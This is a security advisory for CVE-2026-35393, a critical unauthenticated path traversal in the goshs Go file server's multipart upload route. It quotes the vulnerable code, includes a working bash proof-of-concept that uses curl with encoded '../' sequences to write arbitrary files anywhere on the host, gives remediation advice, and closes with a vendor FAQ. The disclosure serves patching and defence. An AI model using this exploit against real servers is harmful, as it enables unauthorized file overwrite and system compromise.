CVE-2026-35393

• POST multipart upload directory not sanitized | httpserver/updown.go:71-174

This finding affect the default configuration, no flags or authentication required.

Details

File: httpserver/updown.go:71-174
Trigger: POST /<path>/upload (server.go:49-51 checks HasSuffix(r.URL.Path, "/upload"))

The filename is sanitized (slashes stripped, line 105-106), but the target directory comes from req.URL.Path unsanitized:

upath := req.URL.Path                              // unsanitized

targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1]         // strips trailing "upload"
target := strings.Join(targetpath, "/")

filenameSlice := strings.Split(part.FileName(), "/")
filenameClean := filenameSlice[len(filenameSlice)-1]  // filename sanitized

finalPath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, filenameClean)

The route requires the URL to end with /upload. An attacker uses a path like /../../target_dir/upload, the suffix satisfies routing, and the ../.. escapes the webroot. The filename on disk is controlled by the attacker via the multipart filename field (after basename extraction).

Impact: Unauthenticated arbitrary file write to any existing directory on the filesystem.

PoCs:

#!/usr/bin/env bash
#
# Example:
#   ./arbitrary_overwrite2.sh 10.0.0.5 8080

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL_FILE" ]; then
    echo "[-] Local file not found: $LOCAL_FILE"
    exit 1
fi

# Split target into directory and filename.
# The server builds: finalPath = UploadFolder + <dir from URL> + "/" + <upload filename>
# So we put the target's dirname in the URL and the target's basename as the upload filename.
TARGET_DIR=$(dirname "$TARGET")
TARGET_NAME=$(basename "$TARGET")

# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%2e%2e/"
done

# Strip leading / and build path ending with /upload
TARGET_REL="${TARGET_DIR#/}"
POST_PATH="/${TRAVERSAL}${TARGET_REL}/upload"

echo "[*] Source:  ${LOCAL_FILE}"
echo "[*] Target:  ${TARGET}"
echo "[*] POST:    ${POST_PATH}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    --path-as-is \
    -X POST \
    -F "file=@${LOCAL_FILE};filename=${TARGET_NAME}" \
    "http://${HOST}:${PORT}${POST_PATH}")

echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."

To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can

Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-35393 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.1.5-0.20260401172448-237f3af891a9); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-35393? CVE-2026-35393 is a critical-severity path traversal vulnerability in github.com/patrickhener/goshs (go), affecting versions < 1.1.5-0.20260401172448-237f3af891a9. It is fixed in 1.1.5-0.20260401172448-237f3af891a9. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-35393? CVE-2026-35393 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/patrickhener/goshs are affected by CVE-2026-35393? github.com/patrickhener/goshs (go) versions < 1.1.5-0.20260401172448-237f3af891a9 is affected.
4. Is there a fix for CVE-2026-35393? Yes. CVE-2026-35393 is fixed in 1.1.5-0.20260401172448-237f3af891a9. Upgrade to this version or later.
5. Is CVE-2026-35393 exploitable, and should I be worried? Whether CVE-2026-35393 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-35393 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-35393? Upgrade github.com/patrickhener/goshs to 1.1.5-0.20260401172448-237f3af891a9 or later.